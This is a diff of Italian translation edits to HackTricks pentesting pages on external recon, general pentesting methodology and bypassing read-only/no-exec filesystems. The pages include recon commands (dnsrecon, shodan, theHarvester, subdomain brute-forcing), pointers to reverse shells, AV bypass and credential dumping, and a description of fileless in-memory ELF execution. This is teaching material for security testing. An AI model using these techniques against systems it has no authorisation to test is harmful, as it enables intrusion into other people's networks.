+Impara e pratica GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -200,7 +200,7 @@ Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 
 * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
 * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos github.
+* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.
 
 </details>
 {% endhint %}

generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -1,8 +1,8 @@
 # External Recon Methodology
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,22 +15,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
+Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_è richiesta la conoscenza fluente della lingua polacca, scritta e parlata_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
-## Assets discoveries
+## Scoperta delle risorse
 
-> Quindi ti è stato detto che tutto ciò che appartiene a una certa azienda è all'interno dell'ambito, e vuoi capire cosa possiede effettivamente questa azienda.
+> Ti è stato detto che tutto ciò che appartiene a una certa azienda è all'interno dell'ambito, e vuoi capire cosa possiede effettivamente questa azienda.
 
-L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti gli **asset** di queste aziende. Per farlo, procederemo a:
+L'obiettivo di questa fase è ottenere tutte le **aziende possedute dalla società principale** e poi tutti i **beni** di queste aziende. Per farlo, procederemo a:
 
 1. Trovare le acquisizioni della società principale, questo ci darà le aziende all'interno dell'ambito.
 2. Trovare l'ASN (se presente) di ciascuna azienda, questo ci darà gli intervalli IP posseduti da ciascuna azienda.
 3. Utilizzare ricerche whois inverse per cercare altre voci (nomi delle organizzazioni, domini...) correlate alla prima (questo può essere fatto ricorsivamente).
-4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri asset (il trucco `ssl` può essere fatto ricorsivamente).
+4. Utilizzare altre tecniche come i filtri shodan `org` e `ssl` per cercare altri beni (il trucco `ssl` può essere fatto ricorsivamente).
 
 ### **Acquisizioni**
 
@@ -38,14 +38,14 @@ Prima di tutto, dobbiamo sapere quali **altre aziende sono possedute dalla socie
 Un'opzione è visitare [https://www.crunchbase.com/](https://www.crunchbase.com), **cercare** la **società principale** e **cliccare** su "**acquisizioni**". Lì vedrai altre aziende acquisite dalla principale.\
 Un'altra opzione è visitare la pagina **Wikipedia** della società principale e cercare le **acquisizioni**.
 
-> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro asset.
+> Ok, a questo punto dovresti conoscere tutte le aziende all'interno dell'ambito. Scopriamo come trovare i loro beni.
 
-### **ASNs**
+### **ASN**
 
 Un numero di sistema autonomo (**ASN**) è un **numero unico** assegnato a un **sistema autonomo** (AS) dall'**Internet Assigned Numbers Authority (IANA)**.\
 Un **AS** consiste in **blocchi** di **indirizzi IP** che hanno una politica chiaramente definita per l'accesso a reti esterne e sono amministrati da un'unica organizzazione, ma possono essere composti da più operatori.
 
-È interessante scoprire se la **società ha assegnato qualche ASN** per trovare i suoi **intervalli IP.** Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno dell'**ambito** e **cercare domini** all'interno di questi IP.\
+È interessante scoprire se la **società ha assegnato un ASN** per trovare i suoi **intervalli IP.** Sarà interessante eseguire un **test di vulnerabilità** contro tutti gli **host** all'interno dell'**ambito** e **cercare domini** all'interno di questi IP.\
 Puoi **cercare** per nome dell'azienda, per **IP** o per **dominio** in [**https://bgp.he.net/**](https://bgp.he.net)**.**\
 **A seconda della regione dell'azienda, questi link potrebbero essere utili per raccogliere ulteriori dati:** [**AFRINIC**](https://www.afrinic.net) **(Africa),** [**Arin**](https://www.arin.net/about/welcome/region/)**(Nord America),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(America Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). Comunque, probabilmente tutte le** informazioni utili **(intervalli IP e Whois)** appaiono già nel primo link.
 ```bash
@@ -89,7 +89,7 @@ Prima di tutto dovresti cercare il(i) **dominio(i) principale(i)** di ciascuna a
 
 ### **Reverse DNS**
 
-Poiché hai trovato tutti gli intervalli IP dei domini, potresti provare a eseguire **ricerche DNS inverse** su quegli **IP per trovare più domini all'interno dell'ambito**. Prova a utilizzare alcuni server DNS della vittima o alcuni server DNS ben noti (1.1.1.1, 8.8.8.8)
+Poiché hai trovato tutti gli intervalli IP dei domini, potresti provare a eseguire **ricerche DNS inverse** su quegli **IP per trovare più domini all'interno dell'ambito**. Prova a utilizzare un server DNS della vittima o un server DNS ben noto (1.1.1.1, 8.8.8.8)
 ```bash
 dnsrecon -r <DNS Range> -n <IP_DNS>   #DNS reverse of all of the addresses
 dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@@ -101,7 +101,7 @@ Puoi anche utilizzare uno strumento online per queste informazioni: [http://ptra
 
 ### **Reverse Whois (loop)**
 
-All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **più asset correlati all'azienda** se esegui **ricerche reverse whois su uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
+All'interno di un **whois** puoi trovare molte **informazioni** interessanti come **nome dell'organizzazione**, **indirizzo**, **email**, numeri di telefono... Ma ciò che è ancora più interessante è che puoi trovare **ulteriori asset correlati all'azienda** se esegui **ricerche reverse whois su uno di questi campi** (ad esempio altri registri whois dove appare la stessa email).\
 Puoi utilizzare strumenti online come:
 
 * [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratuito**
@@ -119,7 +119,7 @@ Puoi anche eseguire alcune scoperte automatiche di reverse whois con [amass](htt
 
 ### **Trackers**
 
-Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\
+Se trovi lo **stesso ID dello stesso tracker** in 2 pagine diverse, puoi supporre che **entrambe le pagine** siano **gestite dallo stesso team**.\
 Ad esempio, se vedi lo stesso **ID di Google Analytics** o lo stesso **ID di Adsense** su più pagine.
 
 Ci sono alcune pagine e strumenti che ti permettono di cercare tramite questi tracker e altro:
@@ -141,7 +141,7 @@ python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
 
 In parole semplici, favihash ci permetterà di scoprire domini che hanno lo stesso hash dell'icona favicon del nostro obiettivo.
 
-Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci l'**hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
+Inoltre, puoi anche cercare tecnologie utilizzando l'hash della favicon come spiegato in [**questo post del blog**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). Ciò significa che se conosci il **hash della favicon di una versione vulnerabile di una tecnologia web** puoi cercare in shodan e **trovare più luoghi vulnerabili**:
 ```bash
 shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}'
 ```
@@ -180,7 +180,7 @@ You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.liv
 
 Apparentemente è comune per le persone assegnare sottodomini a IP che appartengono a fornitori di cloud e a un certo punto **perdere quell'indirizzo IP ma dimenticare di rimuovere il record DNS**. Pertanto, semplicemente **creando una VM** in un cloud (come Digital Ocean) stai effettivamente **prendendo possesso di alcuni sottodomini**.
 
-[**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia al riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record dei sottodomini** che puntano ad essa.
+[**Questo post**](https://kmsec.uk/blog/passive-takeover/) spiega una storia al riguardo e propone uno script che **crea una VM in DigitalOcean**, **ottiene** l'**IPv4** della nuova macchina e **cerca in Virustotal i record di sottodomini** che puntano ad essa.
 
 ### **Other ways**
 
@@ -226,7 +226,7 @@ dnsrecon -a -d tesla.com
 ```
 ### **OSINT**
 
-Il modo più veloce per ottenere molti sottodomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API):
+Il modo più veloce per ottenere molti subdomini è cercare in fonti esterne. Gli **strumenti** più utilizzati sono i seguenti (per risultati migliori configura le chiavi API):
 
 * [**BBOT**](https://github.com/blacklanternsecurity/bbot)
 ```bash
@@ -275,7 +275,7 @@ vita -d tesla.com
 ```bash
 theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye"
 ```
-Ci sono **altri strumenti/API interessanti** che, anche se non specializzati direttamente nella ricerca di sottodomini, potrebbero essere utili per trovarli, come:
+Ci sono **altri strumenti/API interessanti** che, anche se non specializzati direttamente nella ricerca di sottodomini, potrebbero essere utili per trovare sottodomini, come:
 
 * [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Utilizza l'API [https://sonar.omnisint.io](https://sonar.omnisint.io) per ottenere sottodomini
 ```bash
@@ -420,7 +420,7 @@ python3 main.py adobe.com adobe adobe.rules
 make_brute_list.sh adobe.rules adobe.brute
 puredns resolve adobe.brute --write adobe.valid
 ```
-* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato dalla risposta DNS immensamente semplice ma efficace. Utilizza un insieme di dati di input fornito, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e ampliarli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
+* [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ è un fuzzer di brute-force per sottodomini abbinato a un algoritmo guidato dalla risposta DNS immensamente semplice ma efficace. Utilizza un insieme di dati di input fornito, come una wordlist personalizzata o record DNS/TLS storici, per sintetizzare accuratamente nomi di dominio corrispondenti e espanderli ulteriormente in un ciclo basato sulle informazioni raccolte durante la scansione DNS.
 ```
 echo www | subzuf facebook.com
 ```
@@ -516,7 +516,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
 ```
 ### **Screenshots**
 
-Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove iniziare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare **endpoint strani** che sono più **propensi** a essere **vulnerabili**.
+Ora che hai scoperto **tutti i server web** presenti nell'ambito (tra gli **IP** dell'azienda e tutti i **domini** e **sottodomini**) probabilmente **non sai da dove cominciare**. Quindi, rendiamolo semplice e iniziamo semplicemente a fare screenshot di tutti loro. Basta **dare un'occhiata** alla **pagina principale** per trovare endpoint **strani** che sono più **propensi** ad essere **vulnerabili**.
 
 Per eseguire l'idea proposta puoi usare [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) o [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
 
@@ -524,7 +524,7 @@ Inoltre, potresti poi usare [**eyeballer**](https://github.com/BishopFox/eyeball
 
 ## Public Cloud Assets
 
-Per trovare potenziali asset cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una azienda di criptovalute potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
+Per trovare potenziali asset cloud appartenenti a un'azienda dovresti **iniziare con un elenco di parole chiave che identificano quell'azienda**. Ad esempio, per una crypto per un'azienda di criptovalute potresti usare parole come: `"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`.
 
 Avrai anche bisogno di wordlist di **parole comuni usate nei bucket**:
 
@@ -553,7 +553,7 @@ Con i **domini** e **sottodomini** all'interno dell'ambito hai fondamentalmente
 
 ### **Looking for vulnerabilities**
 
-Le email saranno utili in seguito per **brute-force web logins e servizi di autenticazione** (come SSH). Inoltre, sono necessarie per **phishing**. Inoltre, queste API ti daranno ancora più **info sulla persona** dietro l'email, il che è utile per la campagna di phishing.
+Le email saranno utili in seguito per **brute-forzare accessi web e servizi di autenticazione** (come SSH). Inoltre, sono necessarie per **phishing**. Inoltre, queste API ti daranno ancora più **info sulla persona** dietro l'email, il che è utile per la campagna di phishing.
 
 ## Credential Leaks
 
@@ -573,7 +573,7 @@ Le perdite di credenziali sono correlate agli attacchi alle aziende in cui **inf
 ### Github Leaks
 
 Credenziali e API potrebbero essere trapelate nei **repository pubblici** dell'**azienda** o degli **utenti** che lavorano per quell'azienda su github.\
-Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire automaticamente [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi.
+Puoi usare lo **strumento** [**Leakos**](https://github.com/carlospolop/Leakos) per **scaricare** tutti i **repo pubblici** di un'**organizzazione** e dei suoi **sviluppatori** e eseguire [**gitleaks**](https://github.com/zricethezav/gitleaks) su di essi automaticamente.
 
 **Leakos** può anche essere usato per eseguire **gitleaks** contro tutto il **testo** fornito **URL passati** ad esso poiché a volte **le pagine web contengono anche segreti**.
 
@@ -594,7 +594,7 @@ Puoi usare lo strumento [**Pastos**](https://github.com/carlospolop/Pastos) per
 
 I vecchi ma buoni google dorks sono sempre utili per trovare **informazioni esposte che non dovrebbero esserci**. L'unico problema è che il [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) contiene diverse **migliaia** di possibili query che non puoi eseguire manualmente. Quindi, puoi prendere le tue 10 preferite o puoi usare uno **strumento come** [**Gorks**](https://github.com/carlospolop/Gorks) **per eseguirle tutte**.
 
-_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché Google ti bloccherà molto, molto presto._
+_Nota che gli strumenti che si aspettano di eseguire tutto il database utilizzando il normale browser Google non finiranno mai poiché google ti bloccherà molto molto presto._
 
 ### **Looking for vulnerabilities**
 
@@ -618,7 +618,7 @@ Ci sono anche servizi gratuiti che ti permettono di **scansionare repository pub
 
 La **maggior parte delle vulnerabilità** trovate dai bug hunter risiede all'interno delle **applicazioni web**, quindi a questo punto vorrei parlare di una **metodologia di testing delle applicazioni web**, e puoi [**trovare queste informazioni qui**](../../network-services-pentesting/pentesting-web/).
 
-Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **workflow per avere alcune informazioni web iniziali.**
+Voglio anche fare una menzione speciale alla sezione [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/#automatic-scanners), poiché, se non dovresti aspettarti che trovino vulnerabilità molto sensibili, sono utili per implementarle in **workflows per avere alcune informazioni web iniziali.**
 
 ## Recapitulation
 
@@ -649,15 +649,15 @@ Ci sono diversi strumenti là fuori che eseguiranno parte delle azioni proposte
 
 * Tutti i corsi gratuiti di [**@Jhaddix**](https://twitter.com/Jhaddix) come [**The Bug Hunter's Methodology v4.0 - Recon Edition**](https://www.youtube.com/watch?v=p4JgIu1mceI)
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
 {% hint style="success" %}
-Impara e pratica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

generic-methodologies-and-resources/pentesting-methodology.md

@@ -15,7 +15,7 @@ Impara e pratica GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
 </details>
 {% endhint %}
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
@@ -33,10 +33,10 @@ Hai **accesso fisico** alla macchina che vuoi attaccare? Dovresti leggere alcuni
 
 ### 1 - [Scoprire host all'interno della rete](pentesting-network/#discovering-hosts)/ [Scoprire le risorse dell'azienda](external-recon-methodology/)
 
-**A seconda** se il **test** che stai eseguendo è un **test interno o esterno**, potresti essere interessato a trovare **host all'interno della rete aziendale** (test interno) o **trovare risorse dell'azienda su internet** (test esterno).
+**A seconda** se il **test** che stai eseguendo è un **test interno o esterno**, potresti essere interessato a trovare **host all'interno della rete aziendale** (test interno) o **trovare risorse dell'azienda su Internet** (test esterno).
 
 {% hint style="info" %}
-Nota che se stai eseguendo un test esterno, una volta che riesci a ottenere accesso alla rete interna dell'azienda dovresti riavviare questa guida.
+Nota che se stai eseguendo un test esterno, una volta che riesci a ottenere accesso alla rete interna dell'azienda, dovresti riavviare questa guida.
 {% endhint %}
 
 ### **2-** [**Divertirsi con la rete**](pentesting-network/) **(Interno)**
@@ -48,9 +48,9 @@ Prima di attaccare un host, forse preferisci **rubare alcune credenziali** **dal
 
 La prima cosa da fare quando **cerchi vulnerabilità in un host** è sapere quali **servizi sono in esecuzione** su quali porte. Vediamo i [**strumenti di base per scansionare le porte degli host**](pentesting-network/#scanning-hosts).
 
-### **4-** [**Ricerca di exploit per versioni di servizio**](search-exploits.md)
+### **4-** [Cercare exploit di versioni di servizio](search-exploits.md)
 
-Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, devi **cercare vulnerabilità note**. Forse hai fortuna e c'è un exploit che ti dà una shell...
+Una volta che sai quali servizi sono in esecuzione, e forse la loro versione, devi **cercare vulnerabilità note**. Forse sei fortunato e c'è un exploit che ti dà una shell...
 
 ### **5-** Servizi di Pentesting
 
@@ -61,7 +61,7 @@ Se non c'è alcun exploit interessante per alcun servizio in esecuzione, dovrest
 **Voglio fare una menzione speciale della** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **parte (poiché è la più estesa).**\
 Inoltre, una piccola guida su come [**trovare vulnerabilità note nel software**](search-exploits.md) può essere trovata qui.
 
-**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ci sono).
+**Se il tuo servizio non è nell'indice, cerca su Google** altri tutorial e **fammi sapere se vuoi che lo aggiunga.** Se non **riesci a trovare nulla** su Google, esegui il tuo **blind pentesting**, potresti iniziare **collegandoti al servizio, fuzzandolo e leggendo le risposte** (se ce ne sono).
 
 #### 5.1 Strumenti Automatici
 
@@ -69,7 +69,7 @@ Ci sono anche diversi strumenti che possono eseguire **valutazioni automatiche d
 
 #### **5.2 Forzatura dei servizi**
 
-In alcuni scenari una **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di diversi servizi da forzare**](brute-force.md)**.**
+In alcuni scenari una **Brute-Force** potrebbe essere utile per **compromettere** un **servizio**. [**Trova qui un CheatSheet di diversi servizi di brute forcing**](brute-force.md)**.**
 
 ### 6- [Phishing](phishing-methodology/)
 
@@ -77,11 +77,11 @@ Se a questo punto non hai trovato alcuna vulnerabilità interessante, **potresti
 
 ### **7-** [**Ottenere Shell**](reverse-shells/)
 
-In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [una lista di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](reverse-shells/).
+In qualche modo dovresti aver trovato **un modo per eseguire codice** nella vittima. Quindi, [un elenco di possibili strumenti all'interno del sistema che puoi usare per ottenere una reverse shell sarebbe molto utile](reverse-shells/).
 
 Specialmente in Windows potresti aver bisogno di aiuto per **evitare gli antivirus**: [**Controlla questa pagina**](../windows-hardening/av-bypass.md)**.**\\
 
-### 8- Dentro
+### 8- Interno
 
 Se hai problemi con la shell, puoi trovare qui una piccola **compilazione dei comandi più utili** per i pentester:
 
@@ -124,13 +124,13 @@ Trova qui diversi modi per [**dumpare password in Windows**](https://github.com/
 **Usa 2 o 3 diversi tipi di meccanismi di persistenza in modo da non dover sfruttare di nuovo il sistema.**\
 **Qui puoi trovare alcuni** [**trucchi di persistenza su active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
 
-TODO: Completare la persistenza Post in Windows e Linux
+TODO: Completare il post sulla persistenza in Windows e Linux
 
 ### 12 - Pivoting
 
 Con le **credenziali raccolte** potresti avere accesso ad altre macchine, o forse devi **scoprire e scansionare nuovi host** (inizia di nuovo la Metodologia di Pentesting) all'interno di nuove reti a cui è connessa la tua vittima.\
-In questo caso il tunneling potrebbe essere necessario. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\
-Dovresti anche controllare il post sulla [metodologia di pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, escalare privilegi e dumpare credenziali.\
+In questo caso, il tunneling potrebbe essere necessario. Qui puoi trovare [**un post che parla di tunneling**](tunneling-and-port-forwarding.md).\
+Dovresti anche controllare il post sulla [Metodologia di pentesting di Active Directory](../windows-hardening/active-directory-methodology/). Lì troverai trucchi interessanti per muoverti lateralmente, escalare privilegi e dumpare credenziali.\
 Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe essere molto utile per pivotare in ambienti Windows.
 
 ### ALTRO
@@ -151,7 +151,7 @@ Controlla anche la pagina su [**NTLM**](../windows-hardening/ntlm/), potrebbe es
 * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
 * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
 
-<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
 Se sei interessato a una **carriera nel hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 

linux-hardening/bypass-bash-restrictions/bypass-fs-protections-read-only-no-exec-distroless/README.md

@@ -1,8 +1,8 @@
 # Bypass FS protections: read-only / no-exec / Distroless
 
 {% hint style="success" %}
-Impara e pratica Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Impara e pratica Hacking AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Impara e pratica Hacking GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -15,9 +15,9 @@ Impara e pratica Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-s
 </details>
 {% endhint %}
 
-<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
 
-Se sei interessato a una **carriera di hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
+Se sei interessato a una **carriera nell'hacking** e a hackare l'inhackabile - **stiamo assumendo!** (_richiesta di polacco fluente scritto e parlato_).
 
 {% embed url="https://www.stmcyber.com/careers" %}
 
@@ -68,9 +68,9 @@ Se hai alcuni potenti motori di script all'interno della macchina, come **Python
 Per questo puoi facilmente usare il progetto [**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec). Puoi passargli un binario e genererà uno script nel linguaggio indicato con il **binario compresso e codificato in b64** con le istruzioni per **decodificarlo e decomprimerlo** in un **fd** creato chiamando la syscall `create_memfd` e una chiamata alla syscall **exec** per eseguirlo.
 
 {% hint style="warning" %}
-Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno alcun modo **predefinito per chiamare syscall raw** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **memory fd** per memorizzare il binario.
+Questo non funziona in altri linguaggi di scripting come PHP o Node perché non hanno alcun **modo predefinito per chiamare syscall raw** da uno script, quindi non è possibile chiamare `create_memfd` per creare il **fd di memoria** per memorizzare il binario.
 
-Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà permesso eseguirlo a causa della **protezione no-exec** che si applicherà.
+Inoltre, creare un **fd regolare** con un file in `/dev/shm` non funzionerà, poiché non ti sarà permesso eseguirlo a causa dell'applicazione della **protezione no-exec**.
 {% endhint %}
 
 ### DDexec / EverythingExec
@@ -106,19 +106,19 @@ Con uno scopo simile a DDexec, la tecnica [**memdlopen**](https://github.com/arg
 
 ### Cos'è distroless
 
-I container distroless contengono solo i **componenti minimi necessari per eseguire un'applicazione o un servizio specifico**, come librerie e dipendenze di runtime, ma escludono componenti più grandi come un gestore di pacchetti, shell o utilità di sistema.
+I container distroless contengono solo i **componenti minimi necessari per eseguire un'applicazione o servizio specifico**, come librerie e dipendenze di runtime, ma escludono componenti più grandi come un gestore di pacchetti, shell o utilità di sistema.
 
